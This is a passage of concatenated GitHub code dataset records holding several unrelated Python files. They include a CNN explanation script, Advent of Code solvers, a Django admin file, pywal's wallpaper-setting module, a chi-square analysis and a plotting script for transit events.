padding=padding)(img_1)\n    img_1 = Convolution1D(256, kernel_size=3, activation=activations.relu,\n                          padding=padding)(img_1)\n    img_1 = GlobalMaxPool1D()(img_1)\n    img_1 = Dropout(rate=0.2)(img_1)\n\n    dense_1 = Dense(feature_num, activation=activations.relu, name=\"dense_1\")(\n        img_1)\n    dense_1 = Dense(feature_num, activation=activations.relu, name=\"dense_2\")(\n        dense_1)\n    dense_1 = Dense(nclass, activation=activations.softmax,\n                    name=\"dense_3_mitbih\")(dense_1)\n\n    model = models.Model(inputs=inp, outputs=dense_1)\n    opt = optimizers.Adam(0.001)\n\n    model.compile(optimizer=opt, loss=losses.sparse_categorical_crossentropy,\n                  metrics=['acc'])\n    # model.summary()\n    return model\n\n\n# model = get_model()\n\n# Get model\n# model, preprocess = vgg16.VGG16(), vgg16.preprocess_input\n# Strip softmax layer\n# model = innvestigate.utils.model_wo_softmax(model)\nfrom innvestigate.backend import graph\n\n# model = graph.model_wo_softmax(model)\n\nmodel = get_model()\n\nfile_path = \"qsar_model.h5\"\n# checkpoint = ModelCheckpoint(file_path, monitor='val_acc', verbose=2,\n#                              save_best_only=True, mode='max')\n# early = EarlyStopping(monitor=\"val_acc\", mode=\"max\", patience=5, verbose=1)\n# redonplat = ReduceLROnPlateau(monitor=\"val_acc\", mode=\"max\", patience=3,\n# verbose=2)\n# # callbacks_list = [checkpoint, redonplat]  # early\n# callbacks_list = [checkpoint, early, redonplat]  # early\n#\n# model.fit(X_train, y_train, epochs=100, verbose=2, callbacks=callbacks_list,\n#           validation_split=0.1)\n\nmodel.load_weights(file_path)\n\nmodel = graph.model_wo_softmax(model)\nprint(model.predict(instance_to_test))\n# model = graph.model_wo_softmax(model)\n#\n# Create analyzer\nanalyzer = innvestigate.create_analyzer(\"deep_taylor\", model)\n\n# analyze the specified instance\na = analyzer.analyze(instance_to_test)\nprint(a)\n\n# Aggregate along color channels and normalize to [-1, 1]\n# a = a.sum(axis=np.argmax(np.asarray(a.shape) == 1))\n# a /= np.max(np.abs(a))\n\n# Plot\n# plt.imshow(a[0], cmap=\"seismic\", clim=(-1, 1))\n# plt.imshow(a)\n# plt.axis(\"off\")\n# plt.savefig(os.path.join(base_dir, \"images\",\n#                          \"readme_example_analysis2.png\"))\n\n\n# import seaborn as sns\n# sns.set_theme(style=\"white\")\n#\n#\n# # Load the example mpg dataset\n# mpg = sns.load_dataset(\"mpg\")\n\n# Plot miles per gallon against horsepower with other semantics\n# sns.relplot(x=\"horsepower\", y=\"mpg\", hue=\"origin\", size=\"weight\",\n#             sizes=(40, 400), alpha=.5, palette=\"muted\",\n#             height=6, data=mpg)\n\n\n# library & dataset\n# import seaborn as sns\n# df = sns.load_dataset('iris')\n# sns.pairplot(df)\n# import matplotlib.pyplot as plt\n#\n# # # Basic correlogram\n# import matplotlib.pyplot as plt\n# import numpy as np\n# import seaborn as sns\n# import pandas as pd\n#\n# # data\n# x=[\"IEEE\", \"Elsevier\", \"Others\", \"IEEE\", \"Elsevier\", \"Others\"]\n# y=[7, 6, 2, 5, 4, 3]\n# z=[\"conference\", \"journal\", \"conference\", \"journal\", \"conference\", \"journal\"]\n#\n# # create pandas dataframe\n# data_list = pd.DataFrame(\n#     {'x_axis': x,\n#      'y_axis': y,\n#      'category': z\n#     })\n#\n# # change size of data points\n# minsize = min(data_list['y_axis'])\n# maxsize = max(data_list['y_axis'])\n#\n# # scatter plot\n# sns.catplot(x=\"x_axis\", y=\"y_axis\", kind=\"swarm\", hue=\"category\",sizes=(minsize*100, maxsize*100), data=data_list)\n# plt.grid()\n#\n#\n# plt.show()\n","repo_name":"hwjworld/CNN_tabular_data_test","sub_path":"innvqsar.py","file_name":"innvqsar.py","file_ext":"py","file_size_in_byte":6004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17699651428","text":"#!/usr/bin/python3\ndef best_score(a_dictionary: dict) -> str:\n    '''\n    get the key withe biggest integer value\n\n    Args:\n        a_dictionary - the dictionary to search at\n\n    Return:\n        the key with the beggist value\n    '''\n    max_key = None\n    if a_dictionary is None:\n        return max_key\n\n    for key, value in a_dictionary.items():\n        if max_key is None or a_dictionary[max_key] < value:\n            max_key = key\n\n    return (max_key)\n","repo_name":"mojtabababiker/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/10-best_score.py","file_name":"10-best_score.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13089421641","text":"from django.contrib import admin\nfrom .models import Category\n\n@admin.register(Category)\nclass CategoryAdmin(admin.ModelAdmin):\n    list_display = ['title', 'slug']\n    search_fields = ['title']\n    prepopulated_fields = {'slug': ('title',)}\n\nadmin.site.unregister(Category)\nadmin.site.register(Category, CategoryAdmin)\n","repo_name":"fhasri/new_hackaton","sub_path":"apps/category/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42314671093","text":"def taxicab(p1, p2, q1, q2):\n    temp = p1 - q1\n    temp2 = p2 - q2\n    if(temp < 0):\n        temp = temp * -1\n    if(temp2 < 0):\n        temp2 = temp2 * -1\n    \n    return temp + temp2\n\ndef move(wire, x, y):\n    points = [] \n    count = 0\n    for i in range(len(wire)):\n        temp = wire[i]\n        if(temp[0] == \"R\"):\n            for i in range(int(temp[1:])):\n                y += 1\n                count += 1    \n                points.append(str(x)+\" \"+str(y)+\" \"+str(count))           \n        if(temp[0] == \"U\"):\n            for i in range(int(temp[1:])):\n                x += -1\n                count += 1 \n                points.append(str(x)+\" \"+str(y)+\" \"+str(count)) \n        if(temp[0] == \"L\"):\n            for i in range(int(temp[1:])):\n                y += -1\n                count += 1  \n                points.append(str(x)+\" \"+str(y)+\" \"+str(count))                 \n        if(temp[0] == \"D\"):\n            for i in range(int(temp[1:])):\n                x += 1\n                count += 1    \n                points.append(str(x)+\" \"+str(y)+\" \"+str(count))  \n    \n    return points\n\ndef manhattan(value):\n    one = value[0].split(\",\")\n    two = value[1].split(\",\")\n\n    x = 50\n    y = 50\n\n    pointsA =  move(one, x, y)\n    pointsB =  move(two, x, y) \n\n    minValue = 100000000000\n    pa = []\n    pb = []\n    for p in pointsA:\n        if(p in pointsB):       \n            value = p.split(\" \")\n            result = taxicab(int(value[0]), int(value[1]), x, y)\n            if(result < minValue):\n                pa = p.split(\" \")\n                minValue = result     \n\n    minValue = 100000000000\n    for p in pointsB:\n        if(p in pointsA):       \n            value = p.split(\" \")\n            result = taxicab(int(value[0]), int(value[1]), x, y)\n            if(result < minValue):\n                pb = p.split(\" \")\n                minValue = result \n\n    result = int(pa[2]) + int(pb[2])\n\n    print(result)\n\ndef readfile(path):\n    with open(path, 'r+') as file:\n        text = file.read()\n        text = text.rstrip()\n        return text.split(\"\\n\")\n\ndef execute():\n    manhattan(readfile(\"files//day-three.txt\"))\n    #manhattan(readfile(\"files//test.txt\"))\n\nexecute()\n","repo_name":"augustoaccorsi/advent-of-code-2019","sub_path":"day-three/day-three-p2.py","file_name":"day-three-p2.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23316409002","text":"\"\"\"Set the wallpaper.\"\"\"\nimport ctypes\nimport logging\nimport os\nimport re\nimport shutil\nimport subprocess\nimport urllib.parse\n\nfrom .settings import HOME, OS, CACHE_DIR\nfrom . import util\n\n\ndef get_desktop_env():\n    \"\"\"Identify the current running desktop environment.\"\"\"\n    desktop = os.environ.get(\"XDG_CURRENT_DESKTOP\")\n    if desktop:\n        return desktop\n\n    desktop = os.environ.get(\"DESKTOP_SESSION\")\n    if desktop:\n        return desktop\n\n    desktop = os.environ.get(\"GNOME_DESKTOP_SESSION_ID\")\n    if desktop:\n        return \"GNOME\"\n\n    desktop = os.environ.get(\"MATE_DESKTOP_SESSION_ID\")\n    if desktop:\n        return \"MATE\"\n\n    desktop = os.environ.get(\"SWAYSOCK\")\n    if desktop:\n        return \"SWAY\"\n\n    desktop = os.environ.get(\"DESKTOP_STARTUP_ID\")\n    if desktop and \"awesome\" in desktop:\n        return \"AWESOME\"\n\n    return None\n\n\ndef xfconf(img):\n    \"\"\"Call xfconf to set the wallpaper on XFCE.\"\"\"\n    xfconf_re = re.compile(\n        r\"^/backdrop/screen\\d/monitor(?:0|\\w*)/\"\n        r\"(?:(?:image-path|last-image)|workspace\\d/last-image)$\",\n        flags=re.M\n    )\n    xfconf_data = subprocess.check_output(\n        [\"xfconf-query\", \"--channel\", \"xfce4-desktop\", \"--list\"],\n        stderr=subprocess.DEVNULL\n    ).decode('utf8')\n    paths = xfconf_re.findall(xfconf_data)\n    for path in paths:\n        util.disown([\"xfconf-query\", \"--channel\", \"xfce4-desktop\",\n                     \"--property\", path, \"--set\", img])\n\n\ndef set_wm_wallpaper(img):\n    \"\"\"Set the wallpaper for non desktop environments.\"\"\"\n    if shutil.which(\"feh\"):\n        util.disown([\"feh\", \"--bg-fill\", img])\n\n    elif shutil.which(\"xwallpaper\"):\n        util.disown([\"xwallpaper\", \"--zoom\", img])\n\n    elif shutil.which(\"hsetroot\"):\n        util.disown([\"hsetroot\", \"-fill\", img])\n\n    elif shutil.which(\"nitrogen\"):\n        util.disown([\"nitrogen\", \"--set-zoom-fill\", img])\n\n    elif shutil.which(\"bgs\"):\n        util.disown([\"bgs\", \"-z\", img])\n\n    elif shutil.which(\"hsetroot\"):\n        util.disown([\"hsetroot\", \"-fill\", img])\n\n    elif shutil.which(\"habak\"):\n        util.disown([\"habak\", \"-mS\", img])\n\n    elif shutil.which(\"display\"):\n        util.disown([\"display\", \"-backdrop\", \"-window\", \"root\", img])\n\n    else:\n        logging.error(\"No wallpaper setter found.\")\n        return\n\n\ndef set_desktop_wallpaper(desktop, img):\n    \"\"\"Set the wallpaper for the desktop environment.\"\"\"\n    desktop = str(desktop).lower()\n\n    if \"xfce\" in desktop or \"xubuntu\" in desktop:\n        xfconf(img)\n\n    elif \"muffin\" in desktop or \"cinnamon\" in desktop:\n        util.disown([\"gsettings\", \"set\",\n                     \"org.cinnamon.desktop.background\",\n                     \"picture-uri\", \"file://\" + urllib.parse.quote(img)])\n\n    elif \"gnome\" in desktop or \"unity\" in desktop:\n        util.disown([\"gsettings\", \"set\",\n                     \"org.gnome.desktop.background\",\n                     \"picture-uri\", \"file://\" + urllib.parse.quote(img)])\n\n    elif \"mate\" in desktop:\n        util.disown([\"gsettings\", \"set\", \"org.mate.background\",\n                     \"picture-filename\", img])\n\n    elif \"sway\" in desktop:\n        util.disown([\"swaymsg\", \"output\", \"*\", \"bg\", img, \"fill\"])\n\n    elif \"awesome\" in desktop:\n        util.disown([\"awesome-client\",\n                     \"require('gears').wallpaper.maximized('{img}')\"\n                    .format(**locals())])\n\n    elif \"kde\" in desktop:\n        string = \"\"\"\n            var allDesktops = desktops();for (i=0;i<allDesktops.length;i++){\n            d = allDesktops[i];d.wallpaperPlugin = \"org.kde.image\";\n            d.currentConfigGroup = Array(\"Wallpaper\", \"org.kde.image\",\n            \"General\");d.writeConfig(\"Image\", \"%s\")};\n        \"\"\"\n        util.disown([\"qdbus\", \"org.kde.plasmashell\", \"/PlasmaShell\",\n                     \"org.kde.PlasmaShell.evaluateScript\", string % img])\n    else:\n        set_wm_wallpaper(img)\n\n\ndef set_mac_wallpaper(img):\n    \"\"\"Set the wallpaper on macOS.\"\"\"\n    db_file = \"Library/Application Support/Dock/desktoppicture.db\"\n    db_path = os.path.join(HOME, db_file)\n\n    # Put the image path in the database\n    sql = \"insert into data values(\\\"%s\\\"); \" % img\n    subprocess.call([\"sqlite3\", db_path, sql])\n\n    # Get the index of the new entry\n    sql = \"select max(rowid) from data;\"\n    new_entry = subprocess.check_output([\"sqlite3\", db_path, sql])\n    new_entry = new_entry.decode('utf8').strip('\\n')\n\n    # Get all picture ids (monitor/space pairs)\n    get_pics_cmd = ['sqlite3', db_path, \"select rowid from pictures;\"]\n    pictures = subprocess.check_output(get_pics_cmd)\n    pictures = pictures.decode('utf8').split('\\n')\n\n    # Clear all existing preferences\n    sql += \"delete from preferences; \"\n\n    # Write all pictures to the new image\n    for pic in pictures:\n        if pic:\n            sql += 'insert into preferences (key, data_id, picture_id) '\n            sql += 'values(1, %s, %s); ' % (new_entry, pic)\n\n    subprocess.call([\"sqlite3\", db_path, sql])\n\n    # Kill the dock to fix issues with cached wallpapers.\n    # macOS caches wallpapers and if a wallpaper is set that shares\n    # the filename with a cached wallpaper, the cached wallpaper is\n    # used instead.\n    subprocess.call([\"killall\", \"Dock\"])\n\n\ndef set_win_wallpaper(img):\n    \"\"\"Set the wallpaper on Windows.\"\"\"\n    # There's a different command depending on the architecture\n    # of Windows. We check the PROGRAMFILES envar since using\n    # platform is unreliable.\n    if \"x86\" in os.environ[\"PROGRAMFILES\"]:\n        ctypes.windll.user32.SystemParametersInfoW(20, 0, img, 3)\n    else:\n        ctypes.windll.user32.SystemParametersInfoA(20, 0, img, 3)\n\n\ndef change(img):\n    \"\"\"Set the wallpaper.\"\"\"\n    if not os.path.isfile(img):\n        return\n\n    desktop = get_desktop_env()\n\n    if OS == \"Darwin\":\n        set_mac_wallpaper(img)\n\n    elif OS == \"Windows\":\n        set_win_wallpaper(img)\n\n    else:\n        set_desktop_wallpaper(desktop, img)\n\n    logging.info(\"Set the new wallpaper.\")\n\n\ndef get(cache_dir=CACHE_DIR):\n    \"\"\"Get the current wallpaper.\"\"\"\n    current_wall = os.path.join(cache_dir, \"wal\")\n\n    if os.path.isfile(current_wall):\n        return util.read_file(current_wall)[0]\n\n    return \"None\"\n","repo_name":"dylanaraps/pywal","sub_path":"pywal/wallpaper.py","file_name":"wallpaper.py","file_ext":"py","file_size_in_byte":6193,"program_lang":"python","lang":"en","doc_type":"code","stars":7668,"dataset":"github-code","pt":"16"}
+{"seq_id":"15336359905","text":"import pandas as pd \r\nfrom scipy.stats import chi2_contingency\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\ncars93 = pd.read_csv(\"Cars93.csv\")\r\n\r\npd.crosstab(index=cars93['Type'], \r\n            columns=cars93['AirBags'],\r\n            margins=True)\r\n\r\nctab = pd.crosstab(index=cars93['Type'], \r\n            columns=cars93['AirBags'])\r\n\r\ntest_statistic, p_value, df, expected_frequencies = chi2_contingency(ctab)\r\nprint(\"P-Value =\", p_value)\r\nn\r\n\r\ndf_bar = pd.melt(ctab.reset_index(),id_vars=\"Type\")\r\nsns.barplot(x=\"AirBags\",\r\n           y=\"value\",\r\n           hue=\"Type\",\r\n           data=df_bar)\r\nplt.title(\"Grouped Bar Chart\")\r\nplt.show()","repo_name":"ajayyadav746000/Advanced-analytics_Statistics","sub_path":"chisq_1.py","file_name":"chisq_1.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36933882922","text":"import math\nfrom itertools import combinations\nimport numpy as np\nfrom scipy.spatial.distance import cdist\n\nwith open(\"puzzle_input.txt\", \"r\") as puzzle_input:\n    puzzle_input = puzzle_input.read().strip().split(\"\\n\\n\")\n\n# Parse the `puzzle_input` into a list of lists which each inner list represents the\n# beacons detected by scanner coresponding to the inner list's index in the outer list.\nbeacons_seen_by_scanners = [\n    np.array(\n        [\n            list(map(int, coordinates.split(\",\")))\n            # Remove the first line with `[1:]` since it simply contains the id of the\n            # scanner like so: `--- scanner 0 ---`.\n            for coordinates in scanner.split(\"\\n\")[1:]\n        ]\n    )\n    for scanner in puzzle_input\n]\n\n\ndef rotations():\n    \"\"\"Generate all possible rotation functions\"\"\"\n    # This `rotations` function was taken from:\n    # https://www.reddit.com/r/adventofcode/comments/rjpf7f/2021_day_19_solutions/hp5icay/\n    vectors = [\n        (1, 0, 0),\n        (-1, 0, 0),\n        (0, 1, 0),\n        (0, -1, 0),\n        (0, 0, 1),\n        (0, 0, -1),\n    ]\n    vectors = list(map(np.array, vectors))\n    for vi in vectors:\n        for vj in vectors:\n            if vi.dot(vj) == 0:\n                vk = np.cross(vi, vj)\n                yield lambda x: np.matmul(x, np.array([vi, vj, vk]))\n\n\ndef get_beacon_distances(scanner_map):\n    \"\"\"\n    Calculate the distances between all the beacons that a single scanner detects.\n    The distances between beacons will be the same even if the beacons are viewed from\n    a different orientation or location (aka from a different scanner).\n    \"\"\"\n    num_beacons = len(scanner_map)\n    # For each combination of 2 beacons indexes, create a dictionary of the distance\n    # between them and their indexes in the `scanner_map`. The dictionary will have the\n    # form: `(a, b, c): (idx_a, idx_b)`, where `a`, `b`, and `c` are sorted from\n    # smallest to largest.\n    return {\n        tuple(sorted(abs(scanner_map[idx_a] - scanner_map[idx_b]))): (idx_a, idx_b)\n        for idx_a, idx_b in combinations(range(num_beacons), 2)\n    }\n\n\ndef find_overlapping_maps(beacon_distances):\n    # If two scanner maps overlap, then they will have C(12,2) (12 choose 2) common\n    # elements. C(12,2) equals 66. So, the number of ways to choose 2 items from 12 items\n    # (without repetition and without order) is 66. `get_beacon_distances` gets the\n    # distances between every combination of 2 beacons, so we account for that in this\n    # function by checking that at least C(12,2) distances are the same.\n    overlap_threshold = math.comb(12, 2)  # `math.comb(12, 2)` = 66.\n    # These two nested for loops technically calculate all the permutations (order\n    # matters, so we would get (a,b) and (b,a)) but all we need is to calculate\n    # combinations (order doesn't matter, so we would get (a,b) but not (b,a)).\n    # However, this doesn't make much of a difference and this format is easier to\n    # read.\n    for idx_a, beacon_distances_a in enumerate(beacon_distances):\n        for idx_b, beacon_distances_b in enumerate(beacon_distances):\n            # Find the common distances between the beacons of the two `scanner_map`s\n            # being tested.\n            overlapping_beacon_distances = set(beacon_distances_a.keys()) & set(\n                beacon_distances_b.keys()\n            )\n            # If the number of `overlapping_beacon_distances` is greater than C(12,2),\n            # then we have match and we can figure out the scanner's position relative\n            # to the first scanner.\n            if len(overlapping_beacon_distances) >= overlap_threshold:\n                # Yield the scanner ids of the overlapping scanners as well as the\n                # first `overlapping_beacon_distances` so we can look up the\n                # corresponding beacon ids and correctly rotate them later.\n                first_overlapping_beacon_distance = overlapping_beacon_distances.pop()\n                yield idx_a, idx_b, first_overlapping_beacon_distance\n\n\ndef fit(\n    scanner_map_a,\n    scanner_map_b,\n    scanner_a_beacon_pair,\n    scanner_b_beacon_pair,\n):\n    \"\"\"\n    Find the correct rotation/translation to make `scanner_map_a` fit to\n    `scanner_map_b`.\n    \"\"\"\n    # For each of the 24 possible rotations...\n    for rotate in rotations():\n        # Rotate `scanner_map_b` (the scanner map to be oriented correctly)\n        scanner_map_b_rotated = rotate(scanner_map_b)\n        # Loop through the two possible beacons for scanner B that could match with\n        # the first beacon in the beacon pair for scanner A (`scanner_a_beacon_pair[0]`).\n        # We want to find the beacons that match between the two scanner maps. We have\n        # 4 beacons: 2 for each scanner's `beacon_pair`. One of the beacon ids from the\n        # scanner A's pair will match with one of the beacon ids from scanner B's pair.\n        # So, we assume that scanner A's fist beacon in the pair is the one that\n        # matches and then we test it against both of scanner B's beacons in its pair.\n        for scanner_b_current_beacon in scanner_b_beacon_pair:\n            # Calculate the translation required to shift `scanner_map_b_rotated` to\n            # `scanner_map_a` so that the beacons overlap.\n            translation = (\n                scanner_map_a[scanner_a_beacon_pair[0]]\n                - scanner_map_b_rotated[scanner_b_current_beacon]\n            )\n\n            # Apply the translation to the rotated `scanner_map_b` and convert it from\n            # a numpy array to a set of tuples so that the intersection can be easily\n            # computed.\n            scanner_map_b_rotated_translated = set(\n                map(tuple, scanner_map_b_rotated + translation)\n            )\n            scanner_map_a_set = set(map(tuple, scanner_map_a))\n            # If the number of overlappign beacons is greater than or equal to 12 then\n            # the rotation and translation are correct so return them.\n            if len(scanner_map_b_rotated_translated & scanner_map_a_set) >= 12:\n                return translation, scanner_map_b_rotated_translated, rotate\n\n\ndef solve(beacons_seen_by_scanners):\n    num_scanners = len(beacons_seen_by_scanners)\n    scanner_positions = {0: np.array([0, 0, 0])}\n    beacons = set(tuple(x) for x in beacons_seen_by_scanners[0])\n    beacon_distances = [\n        get_beacon_distances(scanner_map) for scanner_map in beacons_seen_by_scanners\n    ]\n    while len(scanner_positions) < num_scanners:\n        for (\n            scanner_idx_a,\n            scanner_idx_b,\n            first_overlapping_beacon_distance,\n        ) in find_overlapping_maps(beacon_distances):\n            # If `scanner_idx_a` is in the `scanner_positions` dictionary or if\n            # `scanner_idx_b` is in the `scanner_positions` dictionary but not both,\n            # then skip this iteration. We must start with a scanner that is in the\n            # dictionary so we can find a way to fit the new scanner to the positions\n            # of the beacons for the scanner that is already in the dictionary. If both\n            # scanners are in the dictionary then they are both already aligned and\n            # there is no point doing the calculations again.\n            if not (scanner_idx_a in scanner_positions.keys()) ^ (\n                scanner_idx_b in scanner_positions.keys()\n            ):\n                continue\n            if scanner_idx_b in scanner_positions.keys():\n                # Always ensure that `scanner_idx_b` is the scanner being added.\n                scanner_idx_a, scanner_idx_b = scanner_idx_b, scanner_idx_a\n\n            # `beacon_distances[scanner_idx_a]` is the dictionary of distances and\n            # beacon indexes created by `get_beacon_distances`. We are selecting the\n            # value at `first_overlapping_beacon_distance`, which is the pair of\n            # beacons with distance `first_overlapping_beacon_distance`. In other\n            # words, `first_overlapping_beacon_distance` is the distance between the\n            # pair of beacons `scanner_a_beacon_pair` for the scanner with id\n            # `scanner_idx_a`.\n            scanner_a_beacon_pair = beacon_distances[scanner_idx_a][\n                first_overlapping_beacon_distance\n            ]\n            # `scanner_b_beacon_pair` is the pair of beacons with distance\n            # `first_overlapping_beacon_distance` as seen by the scanner with id\n            # `scanner_idx_b`.\n            scanner_b_beacon_pair = beacon_distances[scanner_idx_b][\n                first_overlapping_beacon_distance\n            ]\n\n            # Get the scanner maps (aka the list of beacons as seen by the\n            # corresponding `scanner_idx`) for the scanner we are trying to fit to (a)\n            # and the scanner we are trying to fit (b).\n            scanner_map_a = beacons_seen_by_scanners[scanner_idx_a]\n            scanner_map_b = beacons_seen_by_scanners[scanner_idx_b]\n\n            # `fit` `scanner_map_b` to `scanner_map_a` using the\n            # `scanner_a_beacon_pair` and `scanner_b_beacon_pair`.\n            scanner_positions[scanner_idx_b], new_beacons, rot = fit(\n                scanner_map_a,\n                scanner_map_b,\n                scanner_a_beacon_pair,\n                scanner_b_beacon_pair,\n            )\n            # Use the rotate function return from `fit` to rotate the beacons seen by\n            # scanner B into the correct position. Add the position of scanner B\n            # relative to the first scanner, which is located at (0, 0, 0), to each of\n            # the beacon positions since the beacons were originally give as relative\n            # to scanner B.\n            beacons_seen_by_scanners[scanner_idx_b] = (\n                rot(beacons_seen_by_scanners[scanner_idx_b])\n                + scanner_positions[scanner_idx_b]\n            )\n            # Add the `new_beacons` to the current set of `beacon` coordinates.\n            beacons = beacons.union(new_beacons)\n\n    return scanner_positions.values(), beacons\n\n\nscanner_positions, beacons = solve(beacons_seen_by_scanners)\n# Calculate the total number of beacons for part 1.\npart1_solution = len(beacons)\nprint(f\"Part 1 Solution: {part1_solution}\")\n\nlargest_manhattan_distance = max(  # Find the largest distance out of all distances.\n    int(\n        cdist(  # `cdist` computes distance between two points.\n            np.reshape(\n                scanner_a_position, (-1, 3)\n            ),  # Reshape from 1D to 2D since `cdist` needs 2D.\n            np.reshape(scanner_b_position, (-1, 3)),\n            metric=\"cityblock\",  # Use the Manhattan distance.\n        )[0][\n            0\n        ]  # Extract the actual value embedded within two nested lists.\n    )\n    # Loop through all the possible combinations of two scanner positions\n    for scanner_a_position, scanner_b_position in combinations(scanner_positions, 2)\n)\nprint(f\"Part 2 Solution: {largest_manhattan_distance}\")\n","repo_name":"HHousen/advent-of-code-2021","sub_path":"day_19/day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":10967,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"23433485872","text":"import datetime\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom os import path\nimport csv\nimport glob\n\nfrom pandas.errors import EmptyDataError\n\n\ndef remove_last_digits(address):\n    last_string = address.split(\" \")[-1]\n    digits = filter(lambda x: x.isdigit(), last_string)\n    for digit in digits:\n        address = address.replace(digit, \"\")\n    return address\n\n\ndef plot_affected_lines():\n    df_events = pd.read_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\", \"affected_lines.csv\"),\n                            encoding='utf-8', sep=';')\n\n    plt.figure(figsize=(24, 16))\n    plt.scatter(x=df_events['code_line'], y=df_events['qtd_exception_events'], alpha=0.6)\n    plt.xlabel('Quantity of exception events', fontsize=22)\n    plt.ylabel('Bus line codes', fontsize=22)\n    plt.yticks(fontsize=20)\n    plt.xticks(fontsize=20)\n    plt.grid(True)\n    plt.show()\n\n    pt = pd.pivot_table(df_events, values=[\"qtd_exception_events\"], index=['code_line', 'identification'])\n    pt.sort_values(by='qtd_exception_events', ascending=False, inplace=True)\n    print(pt)\n\n\ndef plot_affected_addresses():\n    processed_events = pd.read_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"notebooks\",\n                                             \"processed_tweets.csv\"), encoding='utf-8', sep=',')\n    processed_events = processed_events.loc[(processed_events['label'] != \"Irrelevant\") &\n                                            (processed_events['address'].notnull()) &\n                                            (processed_events['location_type'] != \"APPROXIMATE\") &\n                                            (processed_events['lat'].notnull()) & (processed_events['lng'].notnull())]\n\n    processed_events[\"address\"] = processed_events.apply(lambda x: x[\"address\"]\n                                                         .replace(\", São Paulo - SP, Brazil\", \"\")\n                                                         .replace(\", São Paulo - SP, \", \"\")\n                                                         .replace(\", Brazil\", \"\")\n                                                         .replace(\"Rua\", \"R.\")\n                                                         .replace(\"Avenida\", \"Av.\")\n                                                         .replace(\"Ponte\", \"Pte.\")\n                                                         .replace(\"Brigadeiro\", \"Brg. \")\n                                                         .replace(\"Deputado\", \"Dep. \")\n                                                         .replace(\"Engenheiro\", \"Eng. \")\n                                                         .replace(\"General\", \"Gen. \")\n                                                         .replace(\"Capitão\", \"Cap. \")\n                                                         .replace(\"Coronel\", \"Cel. \")\n                                                         .replace(\"Professor\", \"Prof. \")\n                                                         .replace(\"Professora\", \"Profa. \")\n                                                         .replace(\"Visconde\", \"Visc. \")\n                                                         .replace(\"Senador\", \"Sen. \")\n                                                         .replace(\"Praça\", \"Pça. \")\n                                                         .replace(\"Travessa\", \"Tv.\").split(\",\")[0].split(\"-\")[0]\n                                                         .strip(), axis=1)\n\n    processed_events[\"address\"] = processed_events.apply(lambda x: remove_last_digits(x[\"address\"]),\n                                                         axis=1)\n\n    processed_events = processed_events.groupby('address')['address'].count()\n\n    processed_events = processed_events.to_frame()\n    processed_events = processed_events.sort_values(by=['address'], ascending=False)\n\n    processed_events.to_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n                                      \"affected_addresses.csv\"), sep=\";\", index=True, quoting=csv.QUOTE_NONNUMERIC,\n                            header=True)\n\n    index = list(range(0, len(processed_events.address[0:50])))\n    plt.figure(figsize=(24, 16))\n    plt.bar(index, processed_events.address[0:50], align='center')\n    plt.ylabel('Quantity of exception events', fontsize=22)\n    plt.xlabel('Address', fontsize=22)\n    plt.xticks(index, processed_events.index.values[0:50], rotation='vertical', fontsize=20)\n    plt.yticks(fontsize=20)\n    plt.grid(True)\n    plt.show()\n\n\ndef plot_stats():\n    df_stats = pd.read_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n                                     \"stats_867839850661072896.csv\"), encoding='utf-8', sep=',')\n    df_stats['day'] = df_stats.apply(lambda x: int(x['filename'].split(\"_\")[0][6:8]), axis=1)\n    event_datetime = datetime.datetime.strptime(df_stats['dateTime'].values[0], '%Y-%m-%d %H:%M:%S')\n    code_lines = list(set(df_stats['cd_linha'].tolist()))\n\n    for code_line in code_lines:\n        df = df_stats.loc[(df_stats['cd_linha'] == code_line)]\n        filename = df['filename'].tolist()[0]\n        year = filename[:4]\n        month = filename[4:6]\n        from_hour = filename[8:10]\n        to_hour = filename[21:23]\n        month_name = datetime.date(int(year), int(month), 1).strftime('%B')\n\n        index = list(range(0, len(df)))\n        plt.figure(figsize=(24, 16))\n        plt.bar(index, df['mean'], align='center', color=list(\n            np.where(df[\"day\"] == event_datetime.day, '#FF6851', '#647AFF')))\n        plt.title(\"Velocity means to code line {}\".format(code_line), fontsize=30)\n        plt.ylabel('Velocity mean', fontsize=22)\n        plt.xlabel('{} days between {} and {} hours, {}. Event time {}'\n                   .format(month_name, from_hour, to_hour, year, event_datetime), fontsize=22)\n        plt.xticks(index, df['day'].values, fontsize=20)\n        plt.yticks(fontsize=20)\n        plt.grid(True)\n\n        # fig = plt.figure(figsize=(24, 16))\n        # ax = fig.add_subplot(111)\n        # ax2 = ax.twinx()\n        #\n        # width = 0.4\n        #\n        # df.loc[:, ['mean', 'median' 'max', 'std']].plot.bar(ax=ax, width=width, position=1)\n        # df.loc[:, ['nonzero_percentage']].plot.bar(ax=ax2, width=width, position=0, color=\"gray\")\n        #\n        # ax.set_xlabel('{} days between {} and {} hours, {}. Event time {}'\n        #               .format(month_name, from_hour, to_hour, year, event_datetime), fontsize=22)\n        # plt.xticks(index, df['day'].values, fontsize=20)\n        # plt.yticks(fontsize=20)\n        # plt.grid(True)\n        # ax.set_ylabel('Velocity', fontsize=20)\n        # ax2.set_ylabel('Zero percentage', fontsize=20)\n        #\n        # for tick in ax.xaxis.get_ticklabels():\n        #     tick.set_fontsize(20)\n        #     tick.set_rotation('horizontal')\n        #\n        # for tick in ax.yaxis.get_ticklabels():\n        #     tick.set_fontsize(20)\n        #\n        # 